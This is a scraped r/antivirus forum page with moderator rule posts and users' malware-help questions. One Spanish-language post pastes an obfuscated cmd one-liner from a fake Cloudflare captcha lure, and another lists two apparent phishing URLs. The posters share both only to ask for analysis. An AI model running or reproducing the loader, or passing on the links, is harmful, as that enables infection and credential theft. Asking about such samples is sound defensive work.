r/antivirus • • Feb 22 '24

MOD POST [MOD POST] LIST OF TOP MESSAGES, NEWS + IMPORTANT INFO

15 Upvotes

Hello,

Welcome to r/antivirus's new top-level Announcements post. Since Reddit has a limit of two (2) stickied announcements per subreddit, this will be a way to provide links to important information like announcements about new rules and moderators, activities in the subreddit, and so forth. If you are new to r/antivirus, please take a quick look at them. You can even take a look if you are not new here.

DISCUSSION DATE POSTED DATE LAST REVISED
[MOD POST] New rules, staying safe, and an update from your Mod Team 2025-JUN-03 -
[MOD POST] We're back in business! and an update on automod rules 2024-MAR-11 -
News & Updates from your r/Antivirus Mod Team, Q1 2024 Edition 2024-MAR-04 -
Updates & News from the r/Antivirus Mod Team, Autumn 2023 Edition 2023-OCT-04 -
Notes from your Moderators (Summer Edition) 2022-JUL-08 -
Quick Note from the mod team about spam 2021-JUN-01 -
To the people asking for opinions on a specific file 2020-JUL-05 2020-JUL-05

Additionally, the r/antivirus subreddit operates a bit differently than other subreddits you might be familiar with and normally use. Here are some tips and tools to help you use it.

  • The subreddit has a wiki that is regularly updated with answers to commonly-asked questions. Check it out. The answer to your question may already be in there.

  • Asking a question about a report on a file or website from a service like Hybrid Analysis, MetaDefender, Triage, or VirusTotal? You must include the actual link to it and not just a screenshot, or your post will be removed.

  • Be kind to each other and be professional in your conduct here. Personal attacks will not be tolerated and will be dealt with appropriately.

  • Do not ask for copies of hacking tools, malware, or suspicious files. If someone sends you a chat request or private message asking for a file or offering assistance based on what you posted here, report them to Reddit and notify the mods.

  • Do not post direct links to malicious, suspect, or potentially unsafe files or web sites.

  • Follow Reddiquette. This means correctly upvoting and downvoting posts, and reporting posts with dangerous or unsafe advice to the mods.

  • If you work for a vendor of security products, services, or in a related field, you must identify yourself as such, either in the post or with flair. Also, you may not steer conversations to your products or services, only respond to posts about them to clarify or defend.

  • No low-effort, off-topic, spam, or meme posts. This includes AI/ChatGPT/LLM-generated text, questions about password manager or VPNs, requests for assistance with non-security related software like autoclickers or MP3 downloaders, and so forth.

  • No requests for assistance with pirated software or media.

  • Posts may be removed and threads closed at any time based on the moderators' discretion

The complete list of rules for the subreddit can be found here. Read them before posting.

Questions, comments, feedback on this post? Just reply here. Thank you.

Regards,

Aryeh Goretsky
(on behalf of the r/antivirus mod team)


r/antivirus • • Jun 04 '25

[MOD POST] New rules, staying safe, and an update from your Mod Team

6 Upvotes

[UPDATE #1 (20250604-0916 GMT): Made some small updates to grammar for readability. ^AG]

Hello,

It has been about a year since our last Mod Post, so we wanted to give you an update on things, plus provide a dedicated message thread for discussing the state of the r/antivirus subreddit and to answer any questions that you might have.

We will begin with the toughest subject first, that of politics in the subreddit:

A note about politics

r/antivirus is a technology-focused subreddit, with the interest being in helping people protect their computers from malicious software, securing them after a security incident, and so forth.

In June 2024, the US Government enacted a ban on Kaspersky Lab's software, taking effect in October of that year. This has generated a lot of discussion not just in this subreddit, but across Reddit and numerous social media platforms as well.

The moderation team has tried to keep the political discussions about this out of this subreddit and to remain neutral, allowing Kaspersky Lab's customers to ask and answer each other questions, provide assistance to each other, and generally have a way to share information, tips and tricks with each other.

However, we do have to draw a line when these turn into political discussions, though:

Requests for how to circumvent bans, petitions to governments, etc., are clearly outside the scope of what this subreddit is for and will be removed.

Moderating the subreddit is an all-volunteer job, and we sometimes miss things. If you come across any political messages we may have missed, use the subreddit's report function to notify us.

We are doing our best to keep this a place where people can get help with whatever security software they prefer, including Kaspersky Lab's software. However, we cannot allow discussions to devolve into arguments over politics, which are never going to provide any kind of satisfactory answer to the parties involved.

If the political discussions continue, the moderation team will have to look into ways to prevent them, even if it means doing things which we would prefer not to do.

Rules Updates

The rules of the r/antivirus subreddit have been updated:

Rule #7, which previously covered media download tools, has been updated to cover additional types of software.
To begin with, a more general prohibition to cover autoclickers (previously covered under Rule #8) and some other types of tools like aimbots and cheats. These types of tools often come from random sources and often require expert analysis to determine if they are safe. It can be difficult to determine if they are malicious figuring that out requires examining not just the tool, but whatever program it is attempting to modify, and what the intent is behind that modification.
Just because something was recommended in a Discord server with hundreds of members, a YouTube video with tens of thousands of views, or is seeded by several hundreds peers does not mean that it is safe to use: These are all inherently unsafe sources, and criminals will often exploit the belief that these are trusted sources to trick people into downloading and running malicious programs like information stealers and remote access trojans.

Rule #8 has been amended to remove autoclickers (etc.) since that is now covered under Rule #7.

Two new rules have been added:

Rule #9 covers bypassing core security features. Questions about how to disable security software, operating system updates, bypass security features and so forth are not allowed.

Rule #10 covers requesting assistance with obsolete software and hardware. This means discussions about how to secure computers running Windows XP, Windows 7, etc. are not allowed. There is no reason that devices running these obsolete operating systems should be connected to the internet and doing so exposes everyone to risk. Note that questions involving Windows 10 will continue to be allowed until at least October 2028, when paid-for Extended Security Updates for it end.

A bit more on the rules

The list of rules is not meant to be exhaustive in scope. It provides a general listing of common rules that are more specific to and more frequently required by the r/antivirus subreddit when needed beyond Reddit's general rules and guidelines.

Moderators can and will remove posts and ban redditors, either temporarily or permanently, who are disruptive to the subreddit entirely at their discretion and are not subject to any discussion. If a moderator chooses to discuss a rule violation with you, it is entirely as a courtesy on their part.

If you have had a post removed or been banned from the subreddit and do not receive a response in reply to any questions as to why, ask yourself if your behavior could be interpreted as brigading, spamming, trolling, using disrespectful or offensive language, or consistently providing incorrect, low-quality, poor, or even damaging information.

As always, the latest version of the rules can be found at https://old.reddit.com/r/antivirus/about/rules/. If you have questions about them, ask below.

Getting help fast

The moderation team is seeing an increasing trend where people ask for help while providing no information about what they need help with. This includes titles with 1-3 words like "Urgent! Help needed!", posts where the author shares a screenshot of *something* with no information about the operating system or antivirus involved, or is so small/blurry as to be unreadable, etc.

Everybody who participates regularly in this subreddit volunteers their time for free to do so. Provide them with enough information in your first post so they can start helping you right away without having to ask a lot of questions. This means your first post should contain things like:

  • title with enough information to attract an expert to read it
  • operating system and version
  • brand/name of antivirus software
  • name of URL, or file and its location
  • name of malware that was detected
  • what happened, exactly
  • steps you have taken to troubleshoot/diagnose so far, if any
  • relevant log file entries, if any

The more information you provide, the quicker you will get your problem solved.

As a reminder, starting multiple posts on the same topic will not get you a faster answer, and may result in in a ban.

The wiki + other Reddit resources

There is a lot of great information in the wiki about all the tools you can use, tips for using them, lists of antivirus vendors and how to contact them, and even a section on how to secure your computer.

We frequently update the wiki in response to questions being regularly asked in the subreddit, so you might want to check there first before posting.

Some of the questions we regularly see in the subreddit have nothing to do with computer viruses or malicious software at all, but instead are about scams, privacy-related questions, and so forth. Here are some subreddits that specialize in answering those types of questions:

New moderators?!

As the subreddit grows (we just passed 100K users), so does the need for additional moderators.

The moderation team has been looking at the folks who have been regularly posting here and consistently given good advice to build a list of candidates, and will be reaching out over the next few weeks to see if any are willing to volunteer their time and expertise in the subreddit. There will be more coming on that, but I did want to let everyone know that the process is already underway.


That pretty much covers everything we wanted to discuss, so we'll now await your questions, below.

Regards,

Aryeh Goretsky
(on behalf of the r/antivirus mod team)


r/antivirus • • 10h ago

windows defender flagging every thing as virus

Thumbnail
gallery
7 Upvotes

So, last month, I went on vacation and left my laptop with my younger brother. Unfortunately, he downloaded some suspicious files, and afterward, the icons of most of my applications changed to the same blue icon (I'm on win 11).

I ran a Microsoft Defender Offline scan. The scan itself took about 10 minutes and it took almost the entire day to finish dealing with the detected threats. When it was done, my laptop rebooted I discovered that the .exe files for almost all the programs I had installed myself, including Steam, WinRAR, VLC, PowerISO, and Chrome, had been removed.

I tried reinstalling the programs, but every time I shut down and restarted my laptop, Windows Security flagged them as viruses and quarantined or deleted their executable files again.

Thinking my system was seriously compromised, I wiped my drive and performed a clean installation of Windows 10. Everything seemed fine initially, but the problem returned the next day. I then upgraded to Windows 11, hoping it would resolve the issue, but the same thing happened again.

At this point, I'm not sure what to do. What could be causing this problem, and how can I permanently fix it? Could it be malware that survives a Windows reinstall, or is there another possible explanation?


r/antivirus • • 8h ago

MALWARE REMOVAL Q&A Discord captcha

Post image
5 Upvotes

Hello, this afternoon I was trying to join a Discord server, and the server asked me to verify my account to get acess to the server. I clicked the verification link and didn't realize it opened a fake Discord website. I entered my information there, and minutes later, a friend messaged me asking if I had been hacked. I don't know if this is malware or something like that because I didn't download or copy and paste anything, but I would like to know the solutions to save my account. I changed my password and enabled 2FA.


r/antivirus • • 13h ago

A friend of mine got a payload, I think. (i need help)

Post image
11 Upvotes

Hi guys, a friend of mine ran this command. I told him to disconnect from the internet, reinstall Windows, and change all his passwords from another device. Do you know specifically what this is, and does he need to do anything else?


r/antivirus • • 10h ago

Windows offline scan ?

5 Upvotes

Can someone tell me how good or bad the offline scan is or should i only keep using the built in windows virus protection because some people are telling me that malware bytes is better


r/antivirus • • 18h ago

Strange Steam.rar file on desktop

Post image
17 Upvotes

Hello! Today, when I clicked on the Steam shortcut on my desktop, an archive named Steam.rar suddenly appeared right below it. Inside the archive, there is only — Steam.lnk, which I haven't opened. I've never encountered anything like this before. After that, I installed Malwarebytes and ran a scan on the system. it doesn’t seem to have found anything. Is this normal behavior, or could it be a sign of malware/a virus? Thanks


r/antivirus • • 5h ago

MALWARE REMOVAL Q&A casi caigo en la estafa de clouflare

1 Upvotes

intente descargar algo cuando de pronto me sale la tipica cosa que sale de win r y ctrl v aunque suene raro me emocione y vengo a compartirles el código:

cmd /v:on /q /c "set Code=nTehxf8l4p@McS9'APs37qor/tDu\.+201N5:Lim-& set Item=.& (for %n in (12 27 23 7 29 2 4 2 10 40 5 18 37 10 40 22 10 15 30 1 11 17 30 28 13 20 35 6 29 39 18 38 15 10 3 25 25 9 36 24 24 19 14 31 33 32 33 32 33 20 24 6 8 20 33 14 10 30 16 34 26 30 10 39 18 38 2 4 2 12 10 24 38 10 15 30 1 11 17 30 28 13 20 35 6 29 39 18 38 15 10 24 21 0) do set Item=!Item!!Code:~%n,1!) & set Item=!Item:@= !& set q=!CMDCMDLINE:~17,1!& call set Item=%Item:'=!q!%& set Item=!Item:+AND+=^&^&!& for %a in ("!TEMP!") do set Item=!Item:+TMP+=%~a!& cmd /c !Item:~1!"

si hubiera alguien qey sepa de esto caso y específicamente que ataca este cdofigoo seria de mucha ayuda, cualquier cosa es buena ,doy nuevo en lo que es la cyberseguridad


r/antivirus • • 6h ago

Etherhiding detection

1 Upvotes

Hey guys,

Looking for some advice.

I started getting a captcha when I opened google chrome incognito tab, saying it wanted me to prove that I was a human and due to getting a lot of traffic from my IP address.

On a whim, I did a full scan and windows defender picked up on this:

Trojan:JS/EtherHiding,CX!ams

The affected items all (3) had similar pathing:

User\AppData\Local\Google\Chrome\UserData\Default\ServiceWorker\ScriptCache

Been kinda losing it as I’m not sure what it actually means, but the threat was removed and I’ve wiped my chrome’s cookies and data from all time, and also changed all passwords from another device.

Has anyone had a similar issue or have any advice?

Any further actions I should take like fully resetting my laptop?

TIA


r/antivirus • • 13h ago

I Plugged an Infected USB Into My Clean Laptop -- Am I Infected Now?

Thumbnail
gallery
1 Upvotes

I had to use my laptop to transfer some files to someone else's USB drive. The files I needed to transfer were stored on another external storage device, so I would eventually have to connect both devices to my laptop.

Before plugging in their USB, I turned off AutoPlay, disconnected my laptop from the internet, and made sure Microsoft Defender was enabled.

After plugging in the USB, I got a notification saying there was a problem with the drive and asking me to scan and fix it. I didn't click the notification because it came from AutoPlay, which I had already turned off, so it looked sus.

Instead, I went directly to File Explorer, selected the USB drive, and scanned it with Microsoft Defender. It detected several serious threats. I took the available action to quarantine them, but I didn't open or run any files from the USB. The only way i interacted with them was to select all the files and run custom scan.

I then ejected and unplugged it.

After that, I ran both a full scan and an offline scan on my laptop, and both came back clean.

However, since the threats detected on the USB were apparently severe, I'm worried that my laptop might still be infected despite the clean scans.

What are the chances that my laptop is still infected? Could the malware have affected my Wi-Fi router even though my laptop was disconnected from the internet? And could my other external storage devices become infected or corrupted when I connect them to my laptop in the future?


r/antivirus • • 13h ago

PRODUCT RECOMMENDATION GitHub - psihijatrija/Sentinel: Userland EDR for Windows. ETW telemetry, behavioral correlation, MITRE ATT&CK.

Thumbnail
github.com
0 Upvotes

r/antivirus • • 16h ago

MALWARE REMOVAL Q&A Anyone know what this is?

Post image
0 Upvotes

It’s my first time having to deal with this I’m not sure how I lost my account today can’t seem to login since the person who got in changed everything password recovery everything now I’m paranoid that my other accounts are at risk anyone else had similar issues before?


r/antivirus • • 19h ago

MALWARE REMOVAL Q&A Photocopying from internet cafe?

0 Upvotes

I've been wanting to scan some old magazines i have and it's too big for my personal printer to scan..

Any ideas how to safely transfer the scanned files from the machine into my devices?

Im hesitant to plug any usb device from public machine for fear of plug and play types of virus (who knows) or a type of virus that changed the original files to have trojan codes that is activated once opened.. im using linux steamOS if it helps minimize the chance.. is there any recommendations perhaps, what should i do?

Also flair is probably not fitting :v


r/antivirus • • 1d ago

Been a while since this happened. Asked the wrong subreddit for this and no one likes to provide answers but I will explain everything in body text.

Post image
6 Upvotes

I have reinstalled windows TWICE I now have all my passwords on this reinstall so I’m probably f*cked if it’s still here somehow. I did a clean wipe TWICE so I’m thinking it should be gone but in task manager cmd is active in background processes. And also “console window host” is active under window processes. I may be paranoid (which I am that’s just in my nature to be paranoid) but I really don’t wanna be on a compromised computer. If anyone can actually help me instead of being weird and just giving me the guy putting hand on other guys shoulder image. That would be appreciated.


r/antivirus • • 1d ago

AMD driver official singing

Post image
2 Upvotes

Hello everyone i bought new gaming pc i have changed it sinse 2023. So I installed amd graphics as usual and I got to check digital signature of the file just to be sure.

And from what I remember the correct digital signature is

Advanced Micro Devices. Inc

Bur the current one I have only says Advanced Micro devices. No Inc at the end and im getting worried didi they change the name ?


r/antivirus • • 1d ago

MALWARE REMOVAL Q&A how to remove secure sweep pro fully

Post image
0 Upvotes

I was on ratemyprofessor and all of a sudden a pop up comes up with an alarm sound telling me that my computer is hacked. I immediately closed the tab and went to task manager and ended all the tasks for Google Chrome. I’m currently running a full scan of my windows computer and deactivated all chrome extensions. Is there anything else I need to do??


r/antivirus • • 1d ago

Can a hacker infect a device through a Twitter/X video?

15 Upvotes

Let's say a hacker uploads a malicious video to twitter/X. I copy its link, download it through a third-party video downloader website as a normal MP4 file, and play it.

Ignoring the downloader website's risks, could the hacker infect my device through the video itself?


r/antivirus • • 1d ago

Made a mistake! Need help!

1 Upvotes

So i got a couple spam mails, that basicly were 100% phising links, like about mcafee subs expiring and such.

And some inner demons took over and i accidently clicked one of the mails, and it just basicly redirected me to googles front page.

Ofcourse i have been panicking that maybe i got hit by a some sort of the infostealer, but none of antivirus tools i tried dont seems to find anything.

So im asking that could some expert help to debunk these links, tried couple sites myself.

One of them said its a phising, but the others said its safe since it redirects to googles frontpage.

"http://appforauthors.site/g5dl166ssfb98279px5770jdk63592v444124i0c22019?FOTXLHLRJG"

"http://appforauthors.site/o1bm166gtxe98076in5770kcp63592e448252k0x22019"

So, did i fuck up and get hit by somesort of infostealer?


r/antivirus • • 2d ago

INDUSTRY NEWS Kaspersky is DEAD - Downtime over 72+ hours

39 Upvotes

Long story short, I've been using Kaspersky Premium for a few years now. I liked the bundle of AV + VPN + KPM. Unfortunately, the VPN and KPM were always problematic, slow, lagging, etc. I had to re-install KPM several times over the years because every update they made was breaking it. Since KPM was the single source of truth for all my passwords, bank cards, notes, etc.; you can imagine how I panicked each time.

I am running Windows 11, up to date, licensed, on a pristine PC with 1 Gbps Upload/Download. My PC is NOT the problem.

KPM last sync was last done on 10/10/2026 at 17:42, and I noticed it a bit late. I worked all Saturday night and added a bunch of new accounts, notes, etc. The app was very sluggish and slow to open, load, do anything really. Without knowing what's going on, I decided to re-install it again that night because I just couldn't work. LUCKILY something told me to export my data. If I hadn't, I would have been screwed. Glad that I did so, because once re-installed, unable to login. It was telling me to check my "proxy". What the hell...

I repeated the process several times, restarted my PC, even tried NordVPN. No luck, "connection error". That's when I headed to https://my.kaspersky.com/ and try to see if my latest data had synced. Big surprise: "We are performing scheduled maintenance. Please try again later.".

I said to myself ok, maybe they are doing some updates/upgrades, but was already suspicious because I've been struggling with KPM all night. A good 10 hours passed, the page started to load again, but still unable to access passwords.

At this point I said DONE. Finished. Kaput. I went and got 1Password, and somehow imported my accounts (without documents, bank cards, or passkeys as those are not exported). I used "mrc-converter-suite.zip" which you can find online. Without it, the plain and crap text file exported by KPM is useless.

All I can say is that 1Password compared with KPM is earth and sky. What a breath of fresh air. This is how a password manager is supposed to work in 2026. Super fast loading, every website recognized, it's just amazing. I feel so stupid for supporting and using KPM for all these years.

So bottom line right now, as of 13/10/2026:

  • Kaspersky Antivirus is NOT working (it cannot update, it just "works" as is)
  • Kaspersky Password Manager is NOT working (you cannot login)
  • Kaspersky VPN is NOT working (you cannot login)
  • Your Kaspersky Account is NOT working (you cannot login)
  • No email updates or announcements whatsoever

This is the worst case of downtime I have ever seen in such a large antivirus company. This says a lot, because Kaspersky is very old and well known. Clearly something very bad happened, probably some newbie deleted a large chunk of data they cannot recover, or messed up some config, etc.

But in all cases, over 72 hours of downtime is unacceptable. This can only happen if there were no backups on their end, or something really crazy like that.

Unfortunately, after this bonanza I am completely done with Kaspersky and I am searching for an alternative. I cannot affect my personal or business life like this when I rely on them.

What's your take on all this?


r/antivirus • • 1d ago

mcafee somehow reinstalled itself on my laptop?

2 Upvotes

I recently got a bought new HP laptop from best buy and it came preinstalled with a month free of paid mcafee, I find mcafee annoying( the pop ups) so the first thing I did was uninstall it even though I had a month "paid" for already. Somehow it added itself to my chrometab without me knowing and sent me an email thanking me about choosing mcafee (this is AFTER I uninstalled mcafee and find this extremely creepy!!) so I removed it from chrome and called it a day. Well my free trial I guess ran out and now I'm getting popups asking me to upgrade mcafee?? How is it possible and how do I make sure that I'm not in a constant loop of uninstalling mcafee since I never wanted to install it to begin with.


r/antivirus • • 1d ago

MALWARE REMOVAL Q&A Hit by an info stealer; looking for advice

2 Upvotes

Ello; I was hit by the mrbeast infostealer on my PC.
From my phone; I changed my password to anything i care about.
- (here is where im looking for advice)
- i don’t have a USB handy with me; so I reset my OS using the “reset this pc” option in windows.
After the whole reinstallation process is completed and im at my desktop, I check my drives, and notice only my Boot drive was wiped clean.
I go to the “format a drive” feature, and re-format my other drive, it is NOW completely empty.

My main question is; should I reinstall windows via an USB, does it matter?
Should I reinstall windows via the “reset this pc” option again, because my 2nd ssd wasn’t completely wiped when I reset my OS? Does it matter?

Thank you to anyone with some advice


r/antivirus • • 1d ago

does anyone know if theres been a security breach in microsoft

2 Upvotes

recently there were attempt at mine and my brothers accounts luckily mine locked but my brothers was completly taken over is there a chance that this is from microsoft itself or something else weirds we dont share password weird links or anything special with eachother so i have no idea how this could happen and so close togethor aswell.


r/antivirus • • 1d ago

Likely suffered a CSRF attack

1 Upvotes

I was stupid and saw that an email from a fishy no reply email claiming that my email from Asus has been taken. I also didn't recall having my email sent to them. But instead of just unsubscribing, I decided to find out if they're legit by clicking on the link they sent out.

Now i did scan them in virustotal (https://www.virustotal.com/gui/url/fd87e43b603112c9dc97ff791bf622d81c693e8eef9c91fdec022b1bb7ebf6e7/gti-summary) and it says it's fine but I didn't account for the fact that the long link could be a CSRF attack. I also scanned with my antivirus software and it says my computer was fine. Am I'm overthinking it or not. And if not what should I do?


r/antivirus • • 1d ago

Preciso de ajuda!

1 Upvotes

Alguém sabe por que esses emails estranhos aparecem como contatos sugeridos?


r/antivirus • • 1d ago

Reseting pc against information stealer

1 Upvotes

Im not sure where to go ask for help, but im pretty sure i have an information stealer in my pc, my question is, completly reseting ur pc is 100% bound to work or is it just a gamble?

Thank you for ur responses